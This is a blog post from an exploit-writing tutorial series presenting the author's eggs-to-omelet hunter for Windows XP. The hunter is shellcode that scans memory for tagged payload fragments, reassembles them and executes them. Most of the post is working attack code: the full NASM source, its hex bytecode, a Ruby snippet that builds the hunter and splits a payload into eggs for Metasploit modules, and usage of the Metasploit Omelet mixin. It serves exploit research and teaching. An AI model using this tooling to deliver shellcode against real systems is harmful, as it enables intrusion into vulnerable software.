In article 8 of my exploit writing series, I have introduced the concept of egg hunters, and explained what an omelet hunter is and how it works.
Today, I want to share with you my own eggs-to-omelet implementation, explain how it works, and how you can use it in a standalone exploit or in a metasploit module.
In case you missed article 8, I’ll start with a short recap and explain the basic concepts of egg hunters and omelet. At the same time, I would like to mention that you might have to read article 8 first before you will understand this post. This post is not a full blown tutorial, it really is just a write-up of some of my own notes and tools. And yes, I plan on doing this kind of write-ups more often.
An egg hunter is a piece of code that is designed to look for another (mostly bigger) piece of (shell)code in memory, and execute that piece of code when it finds it. It uses a tag, (usually 4 bytes) to locate the second piece of code. Egg hunters are often used if the available space for executing shellcode is limited, and there is another (random / non-static) location in memory where you can store data.
An omelet is an extension of this concept. Instead of finding one set of code and execute it, it has the ability to find multiple pieces of code, reassemble them into the original code, and execute them.
I have to be honest. I never had to use an omelet egg hunter in a real exploit in the past (other than documenting it for article 8). But last week, I stumbled upon a bug that had the following characteristics :
Perfect scenario for an omelet hunter. Perfect trigger to write something about it 🙂
Skylined wrote an omelet egg hunter a while ago. I discussed his omelet code in article 8, and I also mentioned that I had to modify it to make it work on my system (XP SP3). Despite these changes, however, the omelet would only work in certain cases (and still does not properly handle access violations while reading through memory).
So I decided to write my own code.
Here it is.
Before looking at the code, let’s look at the requirements/assumptions for the code to work :
The asm code of my egg-to-omelet hunter looks like this : (corelanc0d3r_omelet.asm)
;-------------------------------------------------- ;corelanc0d3r - egg-to-omelet hunter - null byte free ;v1.0 ;http://www.corelan.be:8800 ;peter.ve@corelan.be ;-------------------------------------------------- BITS 32 nr_eggs equ 0x2 ;number of eggs egg_size equ 0x7b ;123 bytes of payload per egg jmp short start ;routine to calculate the target location ;for writing recombined shellcode (omelet) ;I'll use EDI as target location ;First, I'll make EDI point to end of stack ;and I'll put the number of shellcode eggs in eax get_target_loc: ;get stack pointer and put it in EDI push esp pop edi ;set EDI to end of stack or di,0xffff ;edi=0x....ffff = end of current stack frame mov edx,edi ;use edx as start location for the search xor eax,eax ;zero eax mov al,nr_eggs ;put number of eggs in eax calc_target_loc: xor esi,esi ;use esi as counter to step back mov si,0-(egg_size+20) ;add 20 bytes of extra space, per egg. nasm : + goes before - get_target_loc_loop: ;start loop dec edi ;step back inc esi ;and update ESI counter cmp si,-1 ;continue to step back until ESI = -1 jnz get_target_loc_loop dec eax ;loop again if we did not take all pieces ; into account yet jnz calc_target_loc ;edi now contains target location for recombined shellcode xor ebx,ebx ;put loop counter in ebx mov bl,nr_eggs+1 ret start: call get_target_loc ;jump to routine which will calculate shellcode ;target address ;start looking, using edx as basepointer jmp short search_next_address find_egg: dec edx ;scasd does edx+4, so dec edx 4 times ; + inc edx one time ; to make sure we don't miss any pointers dec edx dec edx dec edx search_next_address: inc edx ;next one push edx ;save edx push byte +0x02 pop eax ;set eax to 0x02 int 0x2e cmp al,0x5 ;address readable ? pop edx ;restore edx je search_next_address ;if address is not readable, go to next address mov eax,0x77303001 ;if address is readable, prepare tag in eax add eax,ebx ;add offset (ebx contains egg counter, remember ?) xchg edi,edx ;switch edx/edi scasd ;edi points to the tag ? xchg edi,edx ;switch edx/edi back jnz find_egg ;if tag was not found, go to next address ;found the tag at edx copy_egg: ;ecx must first be set to egg_size (used by rep instruction) ;and esi as source mov esi,edx ;set ESI = EDX (needed for rep instruction) xor ecx,ecx mov cl,egg_size ;set copy counter rep movsb ;copy egg from ESI to EDI dec ebx ;decrement egg cmp bl,1 ;found all eggs ? jnz find_egg ;no = look for next egg ; done - all eggs have been found and copied done: call get_target_loc ;re-calculate location (recombined shellcode) jmp edi ; and jump to it :)
;-------------------------------------------------- ;corelanc0d3r - egg-to-omelet hunter - null byte free ;v1.0 ;http://www.corelan.be:8800 ;peter.ve@corelan.be ;-------------------------------------------------- BITS 32
nr_eggs equ 0x2 ;number of eggs egg_size equ 0x7b ;123 bytes of payload per egg
jmp short start
;routine to calculate the target location ;for writing recombined shellcode (omelet) ;I'll use EDI as target location ;First, I'll make EDI point to end of stack ;and I'll put the number of shellcode eggs in eax get_target_loc: ;get stack pointer and put it in EDI push esp pop edi ;set EDI to end of stack or di,0xffff ;edi=0x....ffff = end of current stack frame mov edx,edi ;use edx as start location for the search xor eax,eax ;zero eax mov al,nr_eggs ;put number of eggs in eax calc_target_loc: xor esi,esi ;use esi as counter to step back mov si,0-(egg_size+20) ;add 20 bytes of extra space, per egg. nasm : + goes before -
get_target_loc_loop: ;start loop dec edi ;step back inc esi ;and update ESI counter cmp si,-1 ;continue to step back until ESI = -1 jnz get_target_loc_loop dec eax ;loop again if we did not take all pieces ; into account yet jnz calc_target_loc ;edi now contains target location for recombined shellcode xor ebx,ebx ;put loop counter in ebx mov bl,nr_eggs+1 ret
start: call get_target_loc ;jump to routine which will calculate shellcode ;target address
;start looking, using edx as basepointer jmp short search_next_address find_egg: dec edx ;scasd does edx+4, so dec edx 4 times ; + inc edx one time ; to make sure we don't miss any pointers dec edx dec edx dec edx search_next_address: inc edx ;next one push edx ;save edx push byte +0x02 pop eax ;set eax to 0x02 int 0x2e cmp al,0x5 ;address readable ? pop edx ;restore edx je search_next_address ;if address is not readable, go to next address mov eax,0x77303001 ;if address is readable, prepare tag in eax add eax,ebx ;add offset (ebx contains egg counter, remember ?) xchg edi,edx ;switch edx/edi scasd ;edi points to the tag ? xchg edi,edx ;switch edx/edi back jnz find_egg ;if tag was not found, go to next address ;found the tag at edx
copy_egg: ;ecx must first be set to egg_size (used by rep instruction) ;and esi as source mov esi,edx ;set ESI = EDX (needed for rep instruction) xor ecx,ecx mov cl,egg_size ;set copy counter rep movsb ;copy egg from ESI to EDI dec ebx ;decrement egg cmp bl,1 ;found all eggs ? jnz find_egg ;no = look for next egg ; done - all eggs have been found and copied
done: call get_target_loc ;re-calculate location (recombined shellcode) jmp edi ; and jump to it :)
Download the asm code here :
corelanc0d3r eggs-to-omelet hunter (asm) (2.8 KiB, 1,255 hits)
The code is 96 bytes and null byte free.
As you can see, the code has 2 hardcoded values : the number of eggs and the size per egg.
If you want to implement this code in your own exploit, you will have to calculate these values first :
You can generate omelet code using the following 2 instructions :
1. compile the asm code into bytecode :
c:\Program Files\nasm\nasm.exe" corelanc0d3r_omelet.asm -o corelanc0d3r_omelet.bin
2. output the bytecode into a format that can be used in an exploit :
c:\omelet\pveReadbin.pl corelanc0d3r_omelet.bin Reading corelanc0d3r_omelet.bin Read 96 bytes -------------------------------------------- Displaying bytes as hex : -------------------------------------------- "\xeb\x24\x54\x5f\x66\x81\xcf\xff". "\xff\x89\xfa\x31\xc0\xb0\x02\x31". "\xf6\x66\xbe\x99\xff\x4f\x46\x66". "\x81\xfe\xff\xff\x75\xf7\x48\x75". "\xee\x31\xdb\xb3\x03\xc3\xe8\xd7". "\xff\xff\xff\xeb\x04\x4a\x4a\x4a". "\x4a\x42\x52\x6a\x02\x58\xcd\x2e". "\x3c\x05\x5a\x74\xf4\xb8\x01\x30". "\x30\x77\x01\xd8\x87\xfa\xaf\x87". "\xfa\x75\xe2\x89\xd6\x31\xc9\xb1". "\x7b\xf3\xa4\x4b\x80\xfb\x01\x75". "\xd4\xe8\xa4\xff\xff\xff\xff\xe7"; Number of null bytes : 0
c:\omelet\pveReadbin.pl corelanc0d3r_omelet.bin Reading corelanc0d3r_omelet.bin Read 96 bytes
-------------------------------------------- Displaying bytes as hex : -------------------------------------------- "\xeb\x24\x54\x5f\x66\x81\xcf\xff". "\xff\x89\xfa\x31\xc0\xb0\x02\x31". "\xf6\x66\xbe\x99\xff\x4f\x46\x66". "\x81\xfe\xff\xff\x75\xf7\x48\x75". "\xee\x31\xdb\xb3\x03\xc3\xe8\xd7". "\xff\xff\xff\xeb\x04\x4a\x4a\x4a". "\x4a\x42\x52\x6a\x02\x58\xcd\x2e". "\x3c\x05\x5a\x74\xf4\xb8\x01\x30". "\x30\x77\x01\xd8\x87\xfa\xaf\x87". "\xfa\x75\xe2\x89\xd6\x31\xc9\xb1". "\x7b\xf3\xa4\x4b\x80\xfb\x01\x75". "\xd4\xe8\xa4\xff\xff\xff\xff\xe7";
Number of null bytes : 0
(you can download a copy of pveReadbin.pl in this post… Look for "Shellcoding tutorial – scripts")
This is how my eggs-to-omelet hunter works :
First, it finds the end of the stack frame (it gets the current stack pointer, puts it in edi, and then sets the lower bits of edi to 0xffff). EDI will be used as target address for writing eggs to. The script uses EDX to keep track of where we are searching in memory, so I set edx to EDI before beginning the search.
EBX will contain the number of eggs to find. (in fact, because I want to avoid null bytes, I have set EBX to nr_eggs + 1, so I can compare EBX with 1). This counter will be used for 2 things : as value in the tag, and to keep track of the number of eggs that need to be found.
During the search, the code uses the NtAccessCheckAndAuditAlarm technique (offset 0x2 in the KiServiceTable) to deal with access violations. Basically, it will try to read EDX, and if it survives, it will read EDX again and see if it contains the 4 byte tag. This will make sure the omelet can continue to read in memory.
The expected tag values are :
773030<seq>
where seq = 01 + number_of_remaining_eggs_to_find+1
So, if you have 3 eggs, the tags will be
Egg 1 : 77 30 30 05
Egg 2 : 77 30 30 04
Egg 3 : 77 30 30 03
(of course, you can use any 3 bytes for the "static" part of the tag. Just make sure to use the same tag in the asm script, when generating the omelet code)
If the correct tag is found it will read egg_size number of bytes and write them to EDI, using the rep movsb instruction. This instructions uses ECX as counter (so before reading, ECX must contain the number of bytes to read… this is "egg_size".) ESI must point to the source location. (which explains why I’m doing a MOV ESI,EDX in the copy_egg routine), and as explained earlier, EDI must point to the target location. During the rep instruction, both EDI and ESI are incremented. When the copy is done, EDI will point at the location where the next piece needs to be written.
When the copy is complete, the script will determine if there are more eggs to be found. (decrement EBX and then compare BL,1). If no more eggs are found, the script recalculates where the shellcode was written to, and jumps to it. If more eggs need to be located, then the search will continue. Since EBX was decremented, it will now look for the second tag.
Since the hardcoded value in the script (mov eax,0x77303001) and the tags in the eggs will always have different values, there is no risk of finding the tag in the omelet code itself. If it finds a tag, it will be an egg. If the egg is not corrupted, it will lead to your omelet.
Implementing the eggs-to-omelet script in a standalone exploit is very easy.
First, you will have to determine how big the eggs can be. You can do this by examining the memory contents & see how many bytes you can control, and how many times you have control over blocks of that amount of bytes. If number_of_blocks * size_of_each_block (with a maximum of 123 bytes) is equal to or bigger than the total shellcode size, you can make it work.
Once you have calculated the number of blocks and the size for each block, you can simply put those 2 values in the asm script, and generate the code (nasm + pveReadbin.pl). This code is ready to be copy/pasted into your exploit script.
Next, you will have to split the payload you want to use into pieces. Each piece should be 123 bytes (or the number of bytes per block – if it’s smaller than 123). If the last block is not 123 bytes (size_of_each_block), you can add some nops until it has the same size.
Then, you have to put the tag in front of each block. In the previous chapter, I have explained how to calculate the unique sequence numbers. So, if your payload is cut into 3 pieces ($shellcode_part1, $shellcode_part2 and $shellcode_part3), this is how the 3 pieces will look like :
my $part1 = "\x05\x30\x30\x77" + $shellcode_part1; my $part2 = "\x04\x30\x30\x77" + $shellcode_part2; my $part3 = "\x03\x30\x30\x77" + $shellcode_part3;
Put the 3 pieces in your payload buffer, making sure the omelet hunter will find part 1 first, then part 2 and finaly part 3.
And that’s it. As soon as the eggs-to-omelet hunter will start running, everything will go automatically.
In order to make the process of splitting payload and creating the separate parts, you can also use a new function in pvefindaddr. The "omelet" function was added to pvefindaddr v2.0.7 and will automate the entire process. The only thing you have to do is
Let’ say you have written your shellcode to c:\tmp\calc.bin (224 bytes) and you have blocks of 100 bytes available in memory, then you have to split the shellcode in to 96 byte pieces (+ 4 bytes for the tag = 100 bytes). We’ll use 55DABA as tag (0xBADA55). The pvefindaddr command to automate the entire process is :
!pvefindaddr omelet -f c:\tmp\calc.bin -t 55DABA -s 96
The result is written into omelet.txt. The output file contains the payloads for perl.
Implementing the omelet hunter in a metasploit module is not very hard either.
Copy the following lines of code into your module, and then use the chunks.each iteration (see end of the code) to put the eggs in memory. Use the omelet variable as your initial payload and you win 🙂
egg_size=123 maxsize = payload.encoded.length print_status("[+] Building corelanc0der's eggs-to-omelet hunter") delta=(maxsize / egg_size) * egg_size nr_eggs=maxsize / egg_size if delta < maxsize nr_eggs=nr_eggs+1 end print_status("[+] Number of eggs : #{nr_eggs}") omelet = "\xeb\x24" + "\x54\x5f" + "\x66\x81\xcf\xff\xff" + "\x89\xfa" + "\x31\xc0" + "\xb0" + nr_eggs.chr + "\x31\xf6" + "\x66\xbe" + (237-egg_size).chr + "\xff" + "\x4f\x46" + "\x66\x81\xfe\xff\xff" + "\x75\xf7" + "\x48" + "\x75\xee" + "\x31\xdb" + "\xb3" + (nr_eggs+1).chr + "\xc3" + "\xe8\xd7\xff\xff\xff" + "\xeb\x04" + "\x4a\x4a\x4a\x4a" + "\x42" + "\x52" + "\x6a\x02" + "\x58" + "\xcd\x2e" + "\x3c\x05" + "\x5a" + "\x74\xf4" + "\xb8\x01\x30\x30\x77" + "\x01\xd8" + "\x87\xfa" + "\xaf" + "\x87\xfa" + "\x75\xe2" + "\x89\xd6" + "\x31\xc9" + "\xb1" + egg_size.chr + "\xf3\xa4" + "\x4b" + "\x80\xfb\x01" + "\x75\xd4" + "\xe8\xa4\xff\xff\xff" + "\xff\xe7" print_status("[+] Creating eggs") chunks = Array.new(nr_eggs) totalsize=egg_size*nr_eggs padding = "X" * (totalsize-payload.encoded.length) fullcode=payload.encoded + padding print_status(" Total shellcode length after padding: #{fullcode.length}") #create eggs chunkcnt=nr_eggs+2 startcode=0 arraycnt=0 while chunkcnt > 2 do chunkprep=chunkcnt.chr + "\x30\x30\x77" thischunk=fullcode[startcode,egg_size] startcode=startcode+egg_size thischunk=chunkprep+thischunk print_status(" Created egg of #{thischunk.length} bytes, tag #{chunkcnt}") chunkcnt=chunkcnt-1 chunks[arraycnt] = thischunk arraycnt=arraycnt+1 end chunks.each do |thischunk| #write the egg into the payload somewhere end
egg_size=123 maxsize = payload.encoded.length print_status("[+] Building corelanc0der's eggs-to-omelet hunter") delta=(maxsize / egg_size) * egg_size nr_eggs=maxsize / egg_size if delta < maxsize nr_eggs=nr_eggs+1 end print_status("[+] Number of eggs : #{nr_eggs}")
omelet = "\xeb\x24" + "\x54\x5f" + "\x66\x81\xcf\xff\xff" + "\x89\xfa" + "\x31\xc0" + "\xb0" + nr_eggs.chr + "\x31\xf6" + "\x66\xbe" + (237-egg_size).chr + "\xff" + "\x4f\x46" + "\x66\x81\xfe\xff\xff" + "\x75\xf7" + "\x48" + "\x75\xee" + "\x31\xdb" + "\xb3" + (nr_eggs+1).chr + "\xc3" + "\xe8\xd7\xff\xff\xff" + "\xeb\x04" + "\x4a\x4a\x4a\x4a" + "\x42" + "\x52" + "\x6a\x02" + "\x58" + "\xcd\x2e" + "\x3c\x05" + "\x5a" + "\x74\xf4" + "\xb8\x01\x30\x30\x77" + "\x01\xd8" + "\x87\xfa" + "\xaf" + "\x87\xfa" + "\x75\xe2" + "\x89\xd6" + "\x31\xc9" + "\xb1" + egg_size.chr + "\xf3\xa4" + "\x4b" + "\x80\xfb\x01" + "\x75\xd4" + "\xe8\xa4\xff\xff\xff" + "\xff\xe7"
print_status("[+] Creating eggs") chunks = Array.new(nr_eggs) totalsize=egg_size*nr_eggs padding = "X" * (totalsize-payload.encoded.length) fullcode=payload.encoded + padding print_status(" Total shellcode length after padding: #{fullcode.length}") #create eggs chunkcnt=nr_eggs+2 startcode=0 arraycnt=0 while chunkcnt > 2 do chunkprep=chunkcnt.chr + "\x30\x30\x77" thischunk=fullcode[startcode,egg_size] startcode=startcode+egg_size thischunk=chunkprep+thischunk print_status(" Created egg of #{thischunk.length} bytes, tag #{chunkcnt}") chunkcnt=chunkcnt-1 chunks[arraycnt] = thischunk arraycnt=arraycnt+1 end
chunks.each do |thischunk| #write the egg into the payload somewhere
end
Note : if you need to encode the omelet code after creating it, before using it as payload, then you can use the following lines to do this :
badchars="\x00" encomelet = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], omelet, ::Msf::Module::PlatformList.win32, badchars) omelet=encomelet
(thanks HDMoore for implementing the badchars filter !)
To make your life easier, I decided to write a class/mixin for metasploit for the omelet hunter, and add some additional features that will provide for increased flexibility when building egg-to-omelet based exploits .
"Updated – august 23rd 2010 : As of r10106 my omelet mixin is officially part of Metasploit!". (Thanks jduck !)
The mixin consists of 2 files :
/framework3/lib/msf/core/exploit/omelet.rb and /framework3/lib/rex/exploitation/omelet.rb
In order to activate the class / mixin, a line was added into the mixins.rb file under /framework3/lib/msf/core/exploit, loading the omelet file :
# $Id: mixins.rb 9984 2010-08-12 16:56:41Z jduck $ # # All exploit mixins should be added to the list below # # Behavior require 'msf/core/exploit/brute' require 'msf/core/exploit/brutetargets' require 'msf/core/exploit/browser_autopwn' # Payload require 'msf/core/exploit/egghunter' require 'msf/core/exploit/omelet' require 'msf/core/exploit/seh' require 'msf/core/exploit/kernel_mode' require 'msf/core/exploit/exe'
(You do not need to update this file yourself. If you are running the latest version (starting from r10106), then this file will contain the necessary entry already.)
From this point forward, you can implement an omelet egg hunter using the following syntax :
In your metasploit exploit module, include the new Omelet class :
include Msf::Exploit::Omelet
Generating the omelet and the eggs is as easy as doing this :
omelet = generate_omelet(payload.encoded,'x00',omeletoptions)
The function takes 3 parameters :
You can set up the options hash like this :
omeletoptions = { :eggsize => 123, :eggtag => "00w", :searchforward => true, :reset => false, :checksum => false, :startreg => "ecx", :adjust => -500 }
The function returns an array, containing 2 elements :
So you can now simply use omelet[0] in your payload, and write the eggs to memory using a simple iteration :
omelet[1].each do |thisegg| print_status("Egg size : #{thisegg.length}") end
Hope you like this short post.
Quick, but sincere, thanks to
Copyright secured by Digiprove © 2010 Peter Van Eeckhoutte
Tags:
© Corelan Consulting BV. All rights reserved. The contents of this page may not be reproduced, redistributed, or republished, in whole or in part, for commercial or non-commercial purposes without prior written permission. See the Terms of Use and Privacy Policy for details.
Comments are closed.